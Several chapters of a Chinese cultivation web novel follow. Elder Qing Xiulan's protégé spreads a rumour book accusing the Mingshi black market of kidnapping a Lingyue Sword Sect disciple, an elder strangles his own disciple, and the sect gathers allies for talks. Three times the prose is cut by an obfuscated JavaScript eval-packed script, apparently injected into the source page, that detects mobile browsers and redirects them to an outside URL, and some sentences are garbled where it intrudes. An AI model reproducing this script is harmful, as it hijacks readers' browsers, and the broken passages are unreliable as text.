他抬眸一看,面前大殿的牌匾上豪放不羁地写着四个大字。 “剑气凌云” 站在大殿门前正中间的正是柯麒柯长老,一脸笑意地看着不远处的清休澜,云青低着头,恭敬地站在柯麒身后。 柯麒话音刚落,左右两边就冒出两个十一二岁的幼童,一男一女,分工明确。女孩走上前来朝清休澜深深行了一礼,随后做了个“请”的手势。同时,男孩在原地跟着女孩鞠了一躬,随后走进了大殿中,开始泡茶。 “柯长老好大阵仗,我不过来闲聊两句,哪儿需要弄得这么兴师动众,倒像是我叨扰贵府了一般。”清休澜淡淡道,和柯麒面对面直视着,悄无声息地打了个交锋。 柯麒轻咳两声,摆摆手道:“清长老说笑了,没有的事。快请进,有事好说。” 清休澜停在原地看着柯麒,直到几息后,柯麒嘴边的笑意丝毫未减,才缓缓踏入大殿之中。 “我来呢,是听闻贤徒失联多日……”清休澜坐在大殿左侧的最前方,拉长了尾音,饶有兴致地看着坐在主位上的柯麒微微偏头看向身后的云青,停顿两秒才接上了话音:“来凌月剑宗前,我有事途经浮云山,碰巧遇见过贤徒。” 云青闻言再顾不得什么,硬着头皮抬起头看向清休澜,眼中满是急切,又碍于柯麒的威压不得不收回了目光,再次沉默下来,退至后方。 柯麒一时没有说话,清休澜没在他脸上看出任何额外情绪,只有礼貌而疏离的微笑。 良久,柯麒终于疑问地“哦”了一声,问道:“我徒如何。” 清休澜抬起手,抛出了一枚拇指大,铜钱样的透明水晶来。 柯麒稳稳接住,拿在手中仔细看着,过了两秒,念出了上面的字:“溟市?” 那正是清休澜在客栈找到的除云浪珠外的另一个物什——象征溟市的水晶铜钱。这铜钱正面刻上了“溟市”两个字,用以出入,交易完成后会自己消散。 溟市毕竟是灰色组织,不宜声张,大部分宗门皆不得知。知道溟市的人大多都是靠别人介绍——谁又敢介绍到有名有姓的宗门上去呢。 “贤徒和我打了声招呼便离开了,走得匆忙。等我发现这枚遗落物时,已不见人影。溟市……可不是什么好地方啊。”清休澜轻轻摇晃着茶盏,说道。 柯麒明显对“溟市”一无所知,他眯了眯眼,状似无意地问道:“清长老似乎对这‘溟市’很是熟悉啊。” 清休澜端着茶盏笑了两声,道:“哪里,我也是看到这铜钱上的字才得知的。” 说完,他凭空拿出一张纸,松手一推,那张薄若蝉翼的白纸就飘向了前方。 柯麒伸手一接,看了清休澜一眼,眸中神色不明。直到清休澜抬头,朝他投来一个疑惑的眼神,柯麒才收回了目光,看向手中的纸张。 纸上是有关溟市的资料,但只有短短两句话。 “你所渴求之物,尽在溟市。” “无所不知,无所不晓,无所不能。” “就这些?没了?这溟市究竟在哪儿、究竟卖些什么、究竟做什么生意,这些都一无所知?”柯麒脸上的笑容早就消失殆尽,眼眸中只余平静,以及一丝……不易察觉的厌烦? “没了。是的。”清休澜神色不急不缓,偏头看着茶盏中波动的涟漪,随意说道:“也许只是我多心了。贤徒说不定是进入了什么阻碍通讯的秘境或者结界,没准过两天就有消息了呢。” 清休澜说完之后放下了茶盏,道:“好了。我知道的就这些,先回去了。” 柯麒目送清休澜离开,被他拿在手中的白纸骤然升起火焰,将薄薄的纸张吞噬殆尽,连飞灰都没有留下。 清休澜走后,云青再也忍不住,压抑着声音向前一步,唤道:“师尊……” 柯麒斜眼撇了他一眼,沉声道:“急什么,清休澜的话不可信。不管什么‘溟市’、‘黯市’,以你大师兄的身手,全身而退还是轻而易举的。我查明之前,不可妄动。” 云青眼神暗了暗,面上依旧顺从答道:“谨听师尊吩咐。” —— 睡梦中的应听声感到自己被什么湿漉漉的东西舔上了脸颊,他的精神还沉浸在光怪陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接着,一道淡金色的灵力将纸张全部托起,排列好顺序后整整齐齐地将其串了起来。清休澜三两下将其用线绑好,直接扔到了应听声怀中。 应听声看着书上的无字封面,还没开口,又是一物什在空中划出一道优美的抛物线,朝自己飞来。应听声只好咽下了想说的话,先将被清休澜抛过来的物什稳稳接下。定睛一看,是一个和那储物袋一样大小的的青白色钱袋,落到应听声手中时发出了“哗哗”的响声,应听声差点没接住。打开一看,果然是雪白的银子,颇有分量。 “明日下山,有三件事要嘱咐你。”清休澜用右手食指轻轻敲击着小几,说道:“第一,不要让人看见你的面容。只要你不主动摘下匿息符,它的效果便会一直存在,并影响到你触碰的东西。” “第二,迅速印几本样本出来,然后分发到其他书铺。明天结束之前,我要看到山下周围的几座小镇居民都看过这本书。” “第三,在不暴露身份的情况下,找几个人,将‘溟市绑架凌月剑宗内门弟子’这件事传播出去,越广越好。剩下的银钱你自己处理。” “最后。” 应听声听见清休澜道。 “遇到任何事你都要记住,优先保全自己,再谈任务。” “去吧。” 17. 传播 翌日一早。 “团团,小心些,不要惊动树叶。”应听声坐在变回本相的乘黄背上,手上拿着清休澜给他的书,腰间挂着钱袋,胸口上贴着一张手掌大的匿息符,正顶着扑面而来的狂风对乘黄说道。 乘黄全身变得半透明,它回头看了一眼应听声,随后再次往上空飞了飞,远离了地面上大片大片的树林,朝着山脚下的小镇飞去。 应听声一只手遮在眼睛之上,看向地面,观察几息后轻轻拍了拍乘黄的脖颈,指向一处破败不堪的建筑,道:“落在那儿吧,小心些,动作太大前辈交给我们的任务可就要泡汤了。” 闻言,不知是哪个字眼触动了这神兽,它确定好了落点,放缓了速度,连周围的风都渐渐安静下来。随后,乘黄慢慢地一圈圈旋了下去,逐渐降低了高度,直到像一片树叶一样落了地。 应听声从乘黄背上爬下,幽怨道:“所以你明明就知道怎么稳稳落地,之前都是故意的对吧。” 乘黄这会儿又听不懂人言了,疑惑地甩了甩尾巴,又变回了狐狸,坐在应听声面前。 “自、己、走。抱着你我不方便逃……快速离开。”应听声转头朝着镇内走去,招了招手示意狐狸快跟上。 狐狸略显不满地叫了一声,却还是乖乖跟上了应听声的脚步,就像闹脾气的小孩子一样。 这座小镇就在凌月剑宗山脚,唤做“凌月镇”,因为镇中常有下山采买,或者在路边施粥的凌月剑宗弟子,所以格外热闹,修士不在少数。 虽然贴着匿息符,但应听声还是警惕地沿着路边行走,不久便找到一家热闹的书肆。书肆门前摆着几张桌子,撑着遮阳棚,不少人刚一出书肆就在外面找了个空位读了起来。 人来人往,直接将清休澜写的书放在哪儿怕是不好被发现,还容易被人顺手牵羊。应听声想了想,抱起了蹲在脚边的小兽,指了指书肆房顶,轻声道:“带我上去。” 小兽没有化为本相,只用爪子抓起了应听声的衣服,然后就毫不费力地将他整个人带上了空中,落在屋顶。 应听声看着自己衣服上多出来的几个洞,无言以对。屋顶被阳光炙烤得滚烫,小兽没穿鞋,落不下脚,便蹲在了应听声肩上,看着他动作。 应听声向下看了一眼,掂了掂手中书本的重量,自言自语道:“我这么把这书从上面扔下去,不会砸伤人吧……” 狐狸看着犹犹豫豫的应听声,优雅地翻了个白眼,摇了摇头,脚一蹬,直接把应听声手中的书踢了下去。应听声一惊,下意识伸手去接,却没来得及,那书从空中落下,被遮阳棚挡了一挡,然后拍了拍某个正要进入书店的路人的肩,最后轻飘飘地落下了地。 那人被吓了一跳,回头却没见到人,左右看了看,不知火该往何处发。 倒是有一人伸出手从地上捡起了地上的那已经微微散开的书本,翻开看了看,随后笑了一下,朗声道:“老板——大料!”说话的人身材高挑,扎着个高马尾,腰间悬着一串银铃,还有一只异于常人的蓝色异瞳。本就显目,青年再这么一喊,周围人的目光瞬间被吸引了过来,包括半蹲在屋顶的应听声。 应听声眼瞳一缩,往后退了一步,差点没站稳。但下面拿着书的青年却无知无觉,朝着闻声赶来的书肆老板摇了摇手中的书,翻开后一字一句地念道写在开头的一句话:“‘凌月剑宗剑峰预备继承人失踪,疑似被地下灰色组织「溟市」绑架,真相究竟如何,且听我细细道来’。” 那青年却没接着往下念,反倒是左右翻了翻,找到了署名,疑惑道:“‘寻风客’?这人怎么听着这么耳熟……” “啊呀——寻风客大人的新书?他果真还是忘不了凌月剑宗。”书肆老板是个大腹便便的男人,他擦了擦汗,从阴凉的屋内探出头来看了看书肆上方,问道:“竟真如传闻所说,是从空中凭空落下,掉到书肆门前的?我还当是胡诌的呢。” 说完,书肆老板看向青年,搓了搓手,眼中闪烁着光芒,“嘿嘿”笑了两声,问道:“不知这位小哥……怎样才愿意将这本书换给我呢?价格好商量,价格好商量。” 青年将手顶在指尖上转了两圈,道:“好说。我既不贪钱财,也不缺宝物,只打听一条消息,谁能准确答出,我便把书给谁。” 看着周围逐渐骚乱的人群,青年嘴角带着笑意缓缓开口,道:“那么……我听闻凌月剑宗邀天机宗中人一叙,敢问其姓什名谁,现居何处?” “这……”书肆老板犹豫地看了看周围,不止他,就连原本跃跃欲试的人群也都相互看看,沉默下来。一时之间,竟无人敢回答青年这个莫名的问题。 青年似乎料到了会是这样的情况,轻笑一声,解释道:“诸位不要误会,我名席梵,与天机宗一位弟子交好,可自从前不久灵崖山山火后,我与他的联系便中断了。此番贸然来此,也只是想找天机宗人询问一二,得知好友无事,我才安心哪。” 看他神色恳切,书肆老板“哦”了两声,道:“如此……具体的我们这些老百姓也不清楚,只知道来人是天机宗一位长老,如今已经在凌月剑宗住下了。” 周围的人也都接连点了点头,席梵见状,将手中的书抛出,道:“多谢诸位,那我先告辞了。”说完,席梵朝周围的人一抱拳,转身离开了。 在大群人朝着书肆内涌去时,席梵就像察觉到什么一样,抬头朝应听声所在的方向看去,应听声屏住呼吸,右手放在乘黄背上,已经做好了随时撤离的准备。席梵眯了眯眼,目光左右巡视了两圈之后依旧没有动作,最终还是若有所思地离开了书肆。 应听声呼出一口气,放松下来,摸了摸一旁毛发微微炸起的狐狸,道:“你也觉得他很奇怪是不是?”说完,应听声紧紧盯着席梵离开的方向,直到周围已经看不见他的身影,他才和团团一起回到了地面,找了处人少偏僻的地方等待着。 不少人都围在书肆门前等待着,还有大批闻讯而来的人,似乎已经习惯了寻风客特别的发售新书的方式。 书肆老板动作利落地将那本书拆开,一页一页地放在一台用灵石驱动的印刷器上,印好的书页被按页数摆放,随后由书肆伙计装订成册,放在一旁,等待提完书名后发售。 寻风客的书能发售得广的其中一个原因就是印书速度极快,在灵力加持下,短短一柱香的时间,桌面上就垒起一摞高高的书册。 贴着匿息符的应听声左让右避地躲开人群,悄悄走到那张放着书册的桌子旁。见旁边整理书册的伙计看都没看自己一眼,应听声便试探着将手放上了最上面的一本书册。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105636|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧接着,那被应听声碰到的地方像水波荡开一样,逐渐变得透明,直至被应听声整个拿在手中后,这本书就无声无息地消失在了原地。 看没人发现,应听声放下心,多拿了两本,然后招呼着团团一起退出了书肆。 “再去找找附近的书肆吧。”应听声爬上变回本相的团团的背,说道。 乘黄幼崽鸣叫了一声,带着应听声飞上了高空。站在书肆门口的人只觉一阵狂风划过,几息便歇,疑惑地抬头看了看天空。 藏在书肆附近的一颗大树后的席梵正百无聊赖地蹲在地上捅蚂蚁窝,风吹动时,他警觉地站了起来,环顾四周,却依旧一无所获。 席梵皱了皱眉,他之前在书肆附近感受到了一股非常不自然的气流波动,就像原本一条线的气流中间立了块石头,将一股气流分开了一样。但他却没有看到任何可疑的人。 就在刚刚那阵狂风刮起时,他再次感觉到了异样,但还是像刚才那样——什么都没有发现。 他抬手放出一只蓝色蝴蝶,蝴蝶在周围转了转,然后朝着某个方向飞去。 席梵将衣领拉高,瞬间,整个人就融入了空气中。他跟着蝴蝶一路走走停停,“风被阻断”的异样感时不时就会出现。他仔细观察感受着,发现每当经过书肆或者茶肆时,“石头”就会停留地久一些,上下浮动着。 半个时辰后,跟了那“石头”一路的席梵终于肯定——不管是谁,他的目的是将自己之前捡到的那本书传播出去。 席梵在某个小镇停了下来,没再继续跟随。然后,他来到一家小书铺,随手从桌上顺走了一本刚印好的书册,翻看起来。 书中大意就是开头的那句“溟市疑似绑架凌月剑宗弟子”的补充,有许多似是而非的证据、推断和理由。虽说席梵觉得大部分都不可信,但看这书不久是图个乐子么,谁又真会去验证事情真假。 席梵托着下巴思索着,溟市他去过。那是一处位于“星海罅隙”的黑色集市,想要去,首先要有介绍人,才能登上“摆渡人”的船,通过一条在地上的星河去往这星海罅隙。 其中,如果是奔着溟市“所求皆如愿”的目的来的,那只用往最中间、最大、最红的那楼里去寻溟市主。 但如果只是来凑凑热闹,看看有什么新鲜“玩意儿”的,那就可以在整个溟市随便逛,到处都摆着摊子,卖的东西也不尽相同。 稀世武器、传家灵药在这都是最末一等的。传闻中的神兽、宗门不外传的秘籍、各种小道消息,甚至是鲛人,你都能在溟市找到。很多禁止贩卖的物件、灵药和人,在溟市都是明码标价。 这“寻风客”的书中关于溟市的那部分七分真三分假,倒是关于凌月剑宗的……席梵有些拿不准,毕竟要是有人因仇,在溟市雇佣人将这“内门弟子”绑走,也不是没可能。 席梵靠在一颗大树的阴凉处将书看完后,又悄无声息地将其放回了小书铺中。 他抬眸看了一眼不远处的凌月剑宗,身形再次隐去,一只看似脆弱的蓝色蝴蝶迎着风颤颤巍巍地朝着高空飞去。 那蝴蝶的翅膀太薄,看起来下一秒就会被风狠狠甩在地上,可它却始终在稳稳地上升、上升、再上升。 直至消失在人们的视线当中。 18. 和谈 烈日当空,比阳光传播更快的是流言。 “你看寻风客新写的书没有?我今儿才知道这世上竟然还有比贫民窟更加肮脏的地方,真是丧尽天良!” “可不是,这寻风客也真是有点本事,这样的地方都知道——这一遭凌月剑宗不可能不管吧?” 路边茶肆中,议论声络绎不绝。 一瘦瘦高高的男人将茶杯“哐”一声砸在桌上,道:“怎么可能不管!这种为害一方的地方,当然得除,凌月剑宗坐视不理就等同帮凶!” “说就说,你砸我茶杯干啥,裂了你赔吗!”原本摇着扇子坐在旁边听热闹的老板从竹椅上站起,用手中的圆扇指着那人骂道。 “激动了激动了,好着呢,坏了我赔。” “你们说这溟市怎么敢绑架凌月剑宗的弟子啊,那弟子居然还真就被绑走了?”这时,一道陌生的声音插了进来,粗声说道。 男人左右转了转茶杯,闻言当是哪个过路人,“嗐”了一声,答道:“溟市有什么邪门法宝阵法啥的也说不准啊,为啥绑他那可就不好说了。难道是因爱生恨?” 此话一出,又将议论声推上高潮。而那引出来话题的声音,却再也没出现过。 应听声做事不留痕,慢慢从茶肆中退了出来,摸了摸站在他肩上的白狐狸,将撕掉一半的符咒再次贴了回去。 他用了一个上午和一个中午将清休澜那本书流传开来,为了保证绝暴露自己的身份样貌,连“散播流言”都亲身上阵。 “前辈交代的任务应该差不多了。”应听声带着狐狸走到一处偏僻的屋檐下,用袖子擦了擦额头伸出的汗珠。 如今已日薄西山,应听声被狐狸带着跑了许多地方,每到一处,便掀起一场“讨伐溟市”的狂潮。 流言就像一杯被打翻的水一样,撒得满地都是,已无挽回的余地。 —— 凌月剑宗大殿内。 “蠢货!这些风言风语是谁传到底下去的!”一位精神矍铄的老者一拍桌子,怒视了一圈座下低着头的数十人,然后将目光移到了为首的柯麒身上,眯眼道:“柯长老,你有什么话想说。” “回宇文宗主,此事虚实参杂,怕是有心之人故意将凌月剑宗送上风口浪尖的。”柯麒不卑不亢地一行礼,说道。 “废话,我难道看不出来吗。”宇文宗主缓缓从主位上走了下来,走到维持着低头行礼动作的柯麒身边,一字一句道:“一天内,我要知道这流言从何而来,是何人所为。你可听懂?” 柯麒愈发俯身向下,淡声道:“柯麒明白。” 而远在剑峰大殿中的云青只觉脖颈处一阵刺烫,抬手一摸,一圈印着复杂梵文的金色脖环骤然出现。 “哐”一声,他手中的洒水壶坠落在地,云青面色痛苦地捂着脖颈蹲了下来,一只手试图将这勒得他喘不过气的脖环拽下,手却直接从脖环中穿了过去。 接着,柯麒便面色沉静地走了过来,开口问道:“你做了什么。” “弟子……”空气艰难地涌入云青的气管,他声音微弱,眼神却无比清晰,“弟子什么都没做,唔。” 脖环压迫更甚,云青摔坐在地,强撑着抬头看向柯麒,凄惨一笑:“脖环在身,弟子去过哪儿、说过什么、做过什么,师尊不应该一清二楚么。” 柯麒缓步上前,抬手一抓,拎着云青的脖颈,让他整个人都悬在空中,一字一句问道:“前日夜间,云笛说你有两个时辰不在房中,去哪儿了。” “回师尊……在外、练剑。” 柯麒眼神冰冷,手上力道越来越重,怒笑道:“到现在你还冥顽不灵,果真是被杜风摇带坏了。” 云青嘴角渗出一条血线,断断续续说道:“师兄拜入师尊门下后日日勤恳修炼剑术,从、不曾懈怠。但师尊只因一句‘天赋不足’就给他判了死刑,不顾师兄脸面,公然将云笛云歆当做下一个‘剑峰继承人’培养。这不……公平。” “公平?”柯麒仰头大笑,道:“修仙界从未有过什么‘公平’。八峰继承人必须是拥有象征飞升资格的‘仙骨’的人,而你师兄的仙骨,早在三年前便腐烂了。” “你以为凌月剑宗何以维持‘宗门之首’的头衔,还不是因为拥有仙骨的人经脉中的灵力会比普通人更加纯粹,更加浓郁,更加强大。” “你与杜风摇前后脚入门,本有资格与他一争‘继承人’之位,但我却从未考虑过你,你可知为何。”柯麒手上力道微松,像一只猎豹松开嘴一样,给了云青片刻喘息的时间。 云青调整了一下呼吸,急咳几声,回道:“弟子,不知。” 柯麒盯着他的眼睛,道:“因为你不够‘忠’。‘正义’和‘公理’在你眼中是天,而一个合格的峰主眼中的天应该是‘凌月剑宗’。如果有一天发生什么意外,在‘凌月剑宗’和‘道德’之间,你一定会毫不犹豫地选择崇高的‘道德’。” 柯麒说着眯起眼,右手使劲。 “弟子自认没错。”云青嘴唇逐渐泛紫,头昏脑胀,勉强维持着一线清明答道:“问心、无愧。” “咔嗒”一声,云青的脑袋缓缓垂下,柯麒松开手,任由他落在沾满泥水的地上,像一片在秋天前就枯萎的叶子。 “那么,我也留你不得了。”柯麒表情自然地擦着手,将沾满星星血迹的手帕往云青苍白的脸上一盖,转身离去。 云青的眼眸逐渐混浊,点点光团出现在他的眼中,他用尽最后一丝力气勾了一下唇角,慢慢、慢慢地停止了呼吸。 天空轰隆一声。 暴雨将至。 —— 几个时辰前。 当山下的流言四散开,却尚未攀云而上时,云青却已然知晓。为了第一时间知道师兄的消息,云青早早地就瞒着众人分出了一缕自己的神识留在山脚,替他探听消息。 他轻轻摸了摸喉间,那里什么都没有,白净如初。但他知道,在昨日清长老与师尊的谈话结束后,他就被师尊设下了单向的锁魂阵,一举一动皆瞒不过师尊的法眼。 云青轻笑一声,无比庆幸被自己提前分出的那缕神识——在锁魂阵设下前它就不在这具身体中,自然不会被锁魂阵探查到。 他不知道师兄是否真的是被溟市“绑架”,但他了解凌月剑宗。五年开一回的试炼之境在即,为了少生事端,凌月剑宗一定会在消息散播到各处时及时遏止,然后装聋作哑,将这阵流言混过去。 哪怕只有一丝希望。 云青表面安静地在花园中浇花,看似柔弱无害的紫罗兰摇晃着,悄悄散播下淡黄色的花粉。 柯麒没有任何怀疑,云青那缕分神畅通无阻地回到了凌月剑宗,然后缓缓消散,分解成了应听声那晚见过的光团,轻若粉末般落在了几十个外门弟子身上。 刹那,山下的流言一股脑地灌入了外门弟子的脑中,他们不受控制地像山下那些人一样开始讨论。 一传十,十传百,短短一个下午,这流言就传到了宗主耳朵里。 云青微微一笑,蹲下身抚摸着面前这株蔫儿巴巴的紫罗兰。它的根已经烂了,无药可救,早已做好了死去的准备。 他伸手捡起一片掉落在地的紫罗兰花瓣,放在嘴角轻轻贴了贴,然后用灵力在花丛中挖了个小坑,将花瓣和手上的储物戒都埋了进去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105637|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >做完这些后,他再次拿起了水壶,静静等待着黑夜将阳光吞没。 —— 雎云居中。 清休澜躺在院落中的池塘边,身下是一层薄薄的灵力,隔绝了他与泥土。阳光向西偏移,他闭着眼,任由长发散落,右手轻轻搅动着池塘中的水。 池中赤红与金鳞的锦鲤摇摇尾巴凑上前来,试探性地含了一口清休澜的沉入水中的指尖,偷得一丝他身上的灵力。转眼,那尾鱼儿就比其他鱼儿大上两圈,鱼鳍与尾巴都变得更加飘逸,借着落入水中的阳光发着光。 清休澜没有阻止,有一下没一下地逗着鱼。 直到他终于腻味了无聊的追逐游戏,才坐起身来,懒洋洋地甩了甩指尖的水渍,缓缓降下法阵,道:“进来吧。” 站在雎云居外的小孩儿终于如获大赦般松了口气,走了进来,朝清休澜行礼道:“师尊请清长老到凌月大殿一叙,说有大事要和清长老商议,特命我前来知会长老一声。” 清休澜认出了这是柯麒身边那两个小弟子中的云歆,他不甚在意地问道:“大事?” 云歆点点头,明明还这样年幼,脸上却已经有了大人一样的成熟凝重,她说:“清长老请随我来。” 清休澜看了眼即将坠落的太阳,朝云歆一颔首。 云歆便不再耽搁,身形一动,转眼已消失在雎云居内。她的轻功连师尊都赞不绝口,之前清休澜下了柯麒面子,云歆也抱了给师尊扳回一城的想法。 她微微勾起唇角,脚步不停,一路风驰电掣地赶到了凌月大殿前。此时距离她从雎云居出发,不过瞬息。 云歆回头看了一眼,确定身后无人,终于露出了一丝小孩子赢下游戏后的笑容。 正当她洋洋得意之时,却听到前方传来一声叹息,云歆愕然回头,却见清休澜已经站在了大殿前,对姗姗来迟的她说道:“你师尊光教你轻功,却不曾教你何为‘戒骄戒躁’么。” 云歆不可置信地看着清休澜,她与云笛是整个凌月剑宗中最小的弟子,但她的轻功却已在大部分修炼了几十年的师兄师姐之上,久久未尝一败。 清休澜杂乱的发丝已经被整齐束好,他换了一身红白描金边的广袖大衣,身后的披肩微微拖地,别说睡乱压成的折痕,就是一丝褶皱也没有。 丝丝寒意从云歆的脚底蔓延而上,就像被一直巨大的蟒蛇缠上一样,她逐渐感到浑身冰凉,呼吸变得困难。 可清休澜只是站在原地而已,什么动作都没有。 就当云歆两眼翻白,就要倒下时,才终于感到压迫自己那条蟒蛇松开了身体,她腿一软,颤颤巍巍地维持着站姿,抬眸看向清休澜。 清休澜无波无澜地看了她一眼,转身走进了大殿中。 方一进大殿,所有人的目光都聚集在了清休澜身上,他微微挑眉,扫了站得满满当当的大殿一圈,道:“聚会可以不喊我的。” 说完,他自顾自地往前走去,拥挤的人群自动为他让出来一条路。清休澜走到唯一空着的左侧主位坐下,站在他身边的人不由自主地退开了几丈。 “清长老有所不知,站在这里这些人,来自五湖四海,皆是想为凌月剑宗讨个‘公道’,要一同去讨伐溟市的。”位于清休澜对面主位上,坐没坐相,一袭红衣金饰,胸口半露模样的男人转了转手上拿着的细长烟斗,漫不经心地说道。 下一瞬,男人手中燃着的烟斗骤然熄灭,他“啧”了一声,抬起一双紫眸看向对面百无聊赖撑在座位扶手上清休澜,从鼻腔中“哼”出一声,收起了烟斗,对站在主位上的宇文乌于道:“别卖关子了宇文宗主,你请我们来,不是为了喝茶的吧?” 19. 云浪 宇文乌于闭着的眼缓缓睁开,虽然眼周已经长满皱纹,眼瞳却不与凌月剑宗的其他老者一样混浊。 他环视了大殿一圈,视线落在清休澜身上两息,这才缓缓开口:“此番……邀诸位前来,是为了溟市一事。” 此话一出,殿内顿时像热锅里炸开热油一般,一腔热血的少年站在后面慷慨激昂地喊着“必除溟市,还众生公道”的口号,一个接一个地举起手中的剑,又放下,再次举起,循环往复。 就连大殿外不得进的人都被感染,一时之间,大殿桌上放着的茶盏都晃动起来。 宇文乌于忍了又忍,终是没忍住,怒喝一声:“安静!” 这一声蕴含着灵力,将带头那几个无门无派的狂傲少年冲了出去。其余跟着一起喊了喊的年轻人身形一晃,很快在自家长辈的保护下稳住了身形。 如此,殿内终于再次安静下来。 宇文乌于清了清嗓子,接着方才的话音说道:“溟市作恶多端,如今还公然将我凌月剑宗弟子虏去,我宗自然不会善罢甘休。谁愿与我一起前往溟市谈判。” 几位坐在座位上,天梯榜上有名的宗门代表互相看了看,有人眼神凝重,有人满不在乎,有人不可置信。 最终,还是清休澜开口道:“谈判?” 此话将众人心中的疑惑问了出来,大殿内的目光齐齐看向站在高处的宇文乌于。 宇文乌于神色未变,点头道:“不错,谈判。” 他从高台上走了下来,站在众人眼前,道:“一来,这溟市是否真如传闻所说有那些肮脏买卖尚且未知。二来,若溟市将我宗弟子完好无损地还来,并主动提出补偿的话,我宗也愿意谅解。毕竟和气生财,就当是给我宗那弟子一次试炼的机会了。” 一位坐在靠后椅子上的男人思考了几息,点头道:“宇文宗主说的有道理。此去以和谈为上,要是‘贩卖人口’是谣传,直直地打过去,可就说不清了。等确定这溟市真的该诛再动兵刃也不迟。此行,太元府愿往。” “如此,万兽谷愿往。”一位外表年幼的女孩儿摸着肩上的绿蛇,腿间还卧着只幼年白虎,头顶站着只飞鸟,点头附和道。 “玄青寺愿往。” “焚天门,小爷也去!” …… 接连十几个大小宗门点头应答后,坐在清休澜对面的紫眸男人哼笑了两声,松懒道:“红尘殿诸尘,愿往。” 宇文乌于点了点头,然后看向清休澜,问他:“清长老?” 诸尘撑着头笑了起来,接话道:“宇文宗主,天机宗连试炼之境都不稀得参加,您怎么会觉得一个小小的‘和谈会’能请动清长老这尊大佛呢。”说完,诸尘朝清休澜抛了个媚眼,接道:“对吧。” “诸尘,你若再用那种下流眼神看我。”清休澜缓缓抬眸道:“我就把你那双漂亮的紫色眼睛挖出来碾碎。” 诸尘一点不惧,像是已经被这样威胁过不知多少次了,他故作可怜地缩了一下,道:“好凶,我好怕。”虽然这么说,但他尚且知道什么叫见好就收,笑了两声,移开了视线。 突然,窗外传来一声快速划过天空产生的锐响,引得众人回头看去。 大概是玩累了,乘黄带着应听声回去时犹显急躁,飞得应听声胆颤心惊,生怕它“坠机”。好在有惊无险,乘黄带着他稳稳落在了雎云居前,随后化作白狐在地上闻了起来。 此时应听声也察觉到不对,清休澜设在雎云居的法阵消失了,连带着原本守在雎云居外的弟子。 应听声摘下匿息符,试探性地唤道:“前辈?” 无人应答。 他略略提高了声音,再次喊道:“前辈——” 依旧无人应答。 狐狸跑动间惊扰了草丛,一只普普通通的黄色蝴蝶从中飞了出来。应听声看了一眼,没在意,朝着雎云居内走去,边走边喊。 正当他看大殿空无一人,准备去里间看看时,却忽然听见一声玻璃碎裂的声音。应听声骤然回头,回到外间,果然看见大殿门前倚着一个再眼熟不过的人。 “手滑了。”席梵无所谓地一摊手,对像看见什么洪水猛兽一样的应听声道:“怎么不过来,这么久没见,想不想我。” “你怎么上来的。”应听声皱眉,他回来路上可没看见有人跟着自己。 “想上就上啰,怎么,这破地方还要谁批准才能来?”席梵不知从哪儿拿来块抹布,三两下擦净地面,然后将那抹布随手一扔,抱着手微微前倾问道。 “那你来这做什么,总不是找我叙旧吧。”应听声抱起站在一旁的桌上的狐狸,状似无意地碰了碰它脖子上的小灯盏。 席梵低着头,似乎没发现应听声这点小动作,他动了动嘴,刚想说些什么,门外却突然传来一道威严的问话:“何人擅闯我凌月剑宗?” 应听声与席梵同时抬头朝门外看去,就见宇文乌于身后黑压压地跟着一群人,朝着雎云居走来。 席梵一挑眉,看了看那群气势汹汹的人,又偏头看了看镇定自若的应听声,一打响指,再次化为一只蝴蝶,栖在窗边开了朵花的盆栽上,浑然天成。 宇文乌于进来时,房间内只剩抱着狐狸的应听声一人,他环顾四周,对应听声道:“小子,这里就你一个人?” 应听声垂眸摸着怀中狐狸的头,脑中迅速思考着该怎么回答,就听见一声敲打窗棂的响声,抬头一看,正是不知所踪的清休澜。 他将宇文乌于的目光从应听声身上吸引过来后,不急不缓地问道:“这么多人挤在我这小小的雎云居,做什么呢。” 宇文乌于面色不变道:“宗内出现可疑人员,为了这位小友和清长老的安全,我需得搜查一番,才好让众人心安。” 清休澜低低笑了起来,毫不客气道:“‘为了我的安全’?宇文宗主真是说大话不脸红——我需要谁来保护么。” 寒冰从清休澜站的地方往外蔓延,众人不得不往后退去,一路被逼至雎云居外几丈,那神秘的寒冰方才缓下。 “你!”宇文乌于怒视着清休澜,右手握在腰侧的佩剑上,压着火气道:“清长老……” 他话还没说完,就被站在他身后的柯麒打断了:“来者是客,清长老不想被打扰,我等离开便是。” 宇文乌于死死盯着谦逊的柯麒,几息后,他终于怒挥出一道灵力,转头离开了。 柯麒的衣袖被这道灵力划了几道口子,他依旧面不改色地恭候宇文乌于离去,直到聚在周围的人散去后,他才缓缓起身,看了一眼重新罩起法阵的雎云居,也离开了。 清休澜画下法阵的最后一笔,收手结阵。随后他看了一眼应听声,问道:“办完了?” 应听声点点头,走过来轻声汇报自己今天的所见所闻。他看着清休澜走到窗边,左手端起那盆郁郁葱葱的植物,右手化出一道蓝色火焰,就要将那花烧个一干二净。 